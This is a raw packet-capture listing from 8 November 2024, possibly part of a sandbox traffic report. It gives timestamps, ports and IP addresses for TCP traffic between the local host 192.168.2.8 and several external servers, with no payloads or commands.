Nov 8, 2024 15:21:14.626938105 CET	443	49807	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:14.626970053 CET	443	49807	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:14.627010107 CET	49807	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:14.627027035 CET	443	49807	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:14.627038956 CET	49807	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:14.667756081 CET	443	49809	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:14.667785883 CET	443	49809	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:14.667795897 CET	443	49809	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:14.667813063 CET	443	49809	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:14.667848110 CET	49809	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:14.667859077 CET	443	49809	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:14.667887926 CET	443	49809	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:14.667905092 CET	49809	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:14.667917967 CET	49809	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:14.667941093 CET	49809	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:14.669831991 CET	49807	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:14.673544884 CET	443	49809	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:14.673604965 CET	49809	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:14.673614025 CET	443	49809	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:14.673628092 CET	443	49809	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:14.673682928 CET	49809	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:14.673866987 CET	49809	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:14.673882008 CET	443	49809	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:14.682537079 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:14.682563066 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:14.682574034 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:14.682634115 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:14.682689905 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:14.682907104 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:14.688886881 CET	443	49812	108.156.211.71	192.168.2.8
Nov 8, 2024 15:21:14.688972950 CET	443	49812	108.156.211.71	192.168.2.8
Nov 8, 2024 15:21:14.689074993 CET	49812	443	192.168.2.8	108.156.211.71
Nov 8, 2024 15:21:14.689789057 CET	49812	443	192.168.2.8	108.156.211.71
Nov 8, 2024 15:21:14.689811945 CET	443	49812	108.156.211.71	192.168.2.8
Nov 8, 2024 15:21:14.692292929 CET	49817	443	192.168.2.8	108.156.211.71
Nov 8, 2024 15:21:14.692322969 CET	443	49817	108.156.211.71	192.168.2.8
Nov 8, 2024 15:21:14.692445040 CET	49817	443	192.168.2.8	108.156.211.71
Nov 8, 2024 15:21:14.692780018 CET	49817	443	192.168.2.8	108.156.211.71
Nov 8, 2024 15:21:14.692790985 CET	443	49817	108.156.211.71	192.168.2.8
Nov 8, 2024 15:21:14.712976933 CET	443	49804	52.178.17.3	192.168.2.8
Nov 8, 2024 15:21:14.713392019 CET	49804	443	192.168.2.8	52.178.17.3
Nov 8, 2024 15:21:14.713423014 CET	443	49804	52.178.17.3	192.168.2.8
Nov 8, 2024 15:21:14.714471102 CET	443	49804	52.178.17.3	192.168.2.8
Nov 8, 2024 15:21:14.714530945 CET	49804	443	192.168.2.8	52.178.17.3
Nov 8, 2024 15:21:14.715553045 CET	49804	443	192.168.2.8	52.178.17.3
Nov 8, 2024 15:21:14.715652943 CET	443	49804	52.178.17.3	192.168.2.8
Nov 8, 2024 15:21:14.715810061 CET	49804	443	192.168.2.8	52.178.17.3
Nov 8, 2024 15:21:14.715823889 CET	443	49804	52.178.17.3	192.168.2.8
Nov 8, 2024 15:21:14.715950012 CET	49804	443	192.168.2.8	52.178.17.3
Nov 8, 2024 15:21:14.715979099 CET	443	49804	52.178.17.3	192.168.2.8
Nov 8, 2024 15:21:14.737128973 CET	443	49807	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:14.737158060 CET	443	49807	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:14.737204075 CET	49807	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:14.737216949 CET	443	49807	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:14.737246990 CET	443	49807	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:14.737247944 CET	49807	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:14.737287998 CET	49807	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:14.737298965 CET	49807	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:14.737659931 CET	49807	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:14.737673998 CET	443	49807	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:14.756108999 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:14.756133080 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:14.756144047 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:14.756200075 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:14.756200075 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:14.756247044 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:14.756282091 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:14.756290913 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:14.756299973 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:14.756320953 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:14.756357908 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:14.756403923 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:14.756417990 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:14.756429911 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:14.756449938 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:14.756510973 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:14.756536961 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:14.756548882 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:14.756582975 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:14.756583929 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:14.756596088 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:14.756607056 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:14.756640911 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:14.756656885 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:14.757184029 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:14.757194996 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:14.757205009 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:14.757216930 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:14.757247925 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:14.757247925 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:14.757281065 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:14.757292986 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:14.757349968 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:14.796272039 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:14.796287060 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:14.796350956 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:14.796353102 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:14.796364069 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:14.796420097 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.061142921 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.061209917 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.061247110 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.061259031 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.061290979 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.061295033 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.061332941 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.062340975 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.062351942 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.062364101 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.062375069 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.062387943 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.062391043 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.062400103 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.062412024 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.062419891 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.062423944 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.062437057 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.062448978 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.062455893 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.062460899 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.062473059 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.062479019 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.062485933 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.062498093 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.062508106 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.062510967 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.062534094 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.062550068 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.063266993 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.063281059 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.063308001 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.063333035 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.064229965 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.064239979 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.064249039 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.064263105 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.064275026 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.064281940 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.064285040 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.064300060 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.064331055 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.064569950 CET	443	49804	52.178.17.3	192.168.2.8
Nov 8, 2024 15:21:15.066220045 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.066231966 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.066245079 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.066263914 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.066289902 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.066929102 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.066941977 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.066951036 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.066981077 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.067004919 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.067044973 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.067095995 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.067136049 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.067147017 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.067172050 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.067187071 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.067238092 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.067250013 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.067271948 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.067292929 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.067589998 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.067601919 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.067620039 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.067629099 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.067632914 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.067646027 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.067646980 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.067657948 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.067670107 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.067671061 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.067682981 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.067696095 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.067697048 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.067708969 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.067718983 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.067722082 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.067739964 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.067770004 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.069178104 CET	49819	443	192.168.2.8	23.198.7.172
Nov 8, 2024 15:21:15.069188118 CET	443	49819	23.198.7.172	192.168.2.8
Nov 8, 2024 15:21:15.069391966 CET	49819	443	192.168.2.8	23.198.7.172
Nov 8, 2024 15:21:15.069823980 CET	49820	443	192.168.2.8	23.198.7.172
Nov 8, 2024 15:21:15.069850922 CET	443	49820	23.198.7.172	192.168.2.8
Nov 8, 2024 15:21:15.069998026 CET	49820	443	192.168.2.8	23.198.7.172
Nov 8, 2024 15:21:15.070302010 CET	49804	443	192.168.2.8	52.178.17.3
Nov 8, 2024 15:21:15.070353031 CET	443	49804	52.178.17.3	192.168.2.8
Nov 8, 2024 15:21:15.070403099 CET	49804	443	192.168.2.8	52.178.17.3
Nov 8, 2024 15:21:15.074136972 CET	49819	443	192.168.2.8	23.198.7.172
Nov 8, 2024 15:21:15.074147940 CET	443	49819	23.198.7.172	192.168.2.8
Nov 8, 2024 15:21:15.074510098 CET	49820	443	192.168.2.8	23.198.7.172
Nov 8, 2024 15:21:15.074527025 CET	443	49820	23.198.7.172	192.168.2.8
Nov 8, 2024 15:21:15.075252056 CET	49821	443	192.168.2.8	204.79.197.219
Nov 8, 2024 15:21:15.075263023 CET	443	49821	204.79.197.219	192.168.2.8
Nov 8, 2024 15:21:15.075315952 CET	49821	443	192.168.2.8	204.79.197.219
Nov 8, 2024 15:21:15.076069117 CET	49822	443	192.168.2.8	204.79.197.219
Nov 8, 2024 15:21:15.076102018 CET	443	49822	204.79.197.219	192.168.2.8
Nov 8, 2024 15:21:15.076157093 CET	49822	443	192.168.2.8	204.79.197.219
Nov 8, 2024 15:21:15.080337048 CET	49821	443	192.168.2.8	204.79.197.219
Nov 8, 2024 15:21:15.080349922 CET	443	49821	204.79.197.219	192.168.2.8
Nov 8, 2024 15:21:15.082560062 CET	49822	443	192.168.2.8	204.79.197.219
Nov 8, 2024 15:21:15.082576990 CET	443	49822	204.79.197.219	192.168.2.8
Nov 8, 2024 15:21:15.114120960 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.114176989 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.114188910 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.114222050 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.114228010 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.114242077 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.114252090 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.114269972 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.114276886 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.114295006 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.114321947 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.127882957 CET	443	49814	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:15.138495922 CET	49814	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:15.138514996 CET	443	49814	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:15.138988018 CET	443	49814	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:15.140285015 CET	49814	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:15.140362978 CET	443	49814	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:15.140440941 CET	49814	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:15.142802954 CET	443	49816	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:15.143809080 CET	49816	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:15.143821955 CET	443	49816	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:15.144821882 CET	443	49816	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:15.144891024 CET	49816	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:15.145682096 CET	443	49815	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:15.145984888 CET	49816	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:15.146043062 CET	443	49816	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:15.146167040 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.146200895 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.146213055 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.146214008 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.146249056 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.146331072 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.146342993 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.146414042 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.146564960 CET	49815	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:15.146575928 CET	443	49815	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:15.146871090 CET	443	49815	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:15.147012949 CET	49816	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:15.147021055 CET	443	49816	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:15.147591114 CET	49815	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:15.147643089 CET	443	49815	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:15.148176908 CET	49815	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:15.182075024 CET	49814	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:15.182090998 CET	443	49814	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:15.191334963 CET	443	49815	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:15.196739912 CET	49816	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:15.219353914 CET	49823	443	192.168.2.8	23.198.7.178
Nov 8, 2024 15:21:15.219384909 CET	443	49823	23.198.7.178	192.168.2.8
Nov 8, 2024 15:21:15.219571114 CET	49823	443	192.168.2.8	23.198.7.178
Nov 8, 2024 15:21:15.219680071 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.219690084 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.219743013 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.219801903 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.219836950 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.219882965 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.219893932 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.219913960 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.219955921 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.219991922 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.220076084 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.220087051 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.220113039 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.220129967 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.220149040 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.220161915 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.220187902 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.220228910 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.220257998 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.220287085 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.220313072 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.220345020 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.220355988 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.220366955 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.220385075 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.220412970 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.221012115 CET	49823	443	192.168.2.8	23.198.7.178
Nov 8, 2024 15:21:15.221024990 CET	443	49823	23.198.7.178	192.168.2.8
Nov 8, 2024 15:21:15.260200977 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.260211945 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.260251045 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.260271072 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.260325909 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.260338068 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.260349035 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.260361910 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.260380983 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.260905027 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.260915995 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.260926008 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.260947943 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.260976076 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.300873995 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.300887108 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.300898075 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.300982952 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.301016092 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.301027060 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.301055908 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.328452110 CET	443	49817	108.156.211.71	192.168.2.8
Nov 8, 2024 15:21:15.329200983 CET	49817	443	192.168.2.8	108.156.211.71
Nov 8, 2024 15:21:15.329220057 CET	443	49817	108.156.211.71	192.168.2.8
Nov 8, 2024 15:21:15.329591036 CET	443	49817	108.156.211.71	192.168.2.8
Nov 8, 2024 15:21:15.331116915 CET	49817	443	192.168.2.8	108.156.211.71
Nov 8, 2024 15:21:15.331187963 CET	443	49817	108.156.211.71	192.168.2.8
Nov 8, 2024 15:21:15.331419945 CET	49817	443	192.168.2.8	108.156.211.71
Nov 8, 2024 15:21:15.346784115 CET	443	49813	20.75.60.91	192.168.2.8
Nov 8, 2024 15:21:15.347923040 CET	49813	443	192.168.2.8	20.75.60.91
Nov 8, 2024 15:21:15.347930908 CET	443	49813	20.75.60.91	192.168.2.8
Nov 8, 2024 15:21:15.348268032 CET	443	49813	20.75.60.91	192.168.2.8
Nov 8, 2024 15:21:15.350141048 CET	49813	443	192.168.2.8	20.75.60.91
Nov 8, 2024 15:21:15.350188971 CET	443	49813	20.75.60.91	192.168.2.8
Nov 8, 2024 15:21:15.350553989 CET	49813	443	192.168.2.8	20.75.60.91
Nov 8, 2024 15:21:15.356411934 CET	49824	443	192.168.2.8	23.198.7.178
Nov 8, 2024 15:21:15.356457949 CET	443	49824	23.198.7.178	192.168.2.8
Nov 8, 2024 15:21:15.356544018 CET	49824	443	192.168.2.8	23.198.7.178
Nov 8, 2024 15:21:15.358479023 CET	49824	443	192.168.2.8	23.198.7.178
Nov 8, 2024 15:21:15.358500004 CET	443	49824	23.198.7.178	192.168.2.8
Nov 8, 2024 15:21:15.374679089 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.374702930 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.374716043 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.374727011 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.374742985 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.374747038 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.374758005 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.374766111 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.374775887 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.374790907 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.374803066 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.374814987 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.374855995 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.374857903 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.374903917 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.374919891 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.374950886 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.374977112 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.375021935 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.375034094 CET	80	49753	185.215.113.206	192.168.2.8
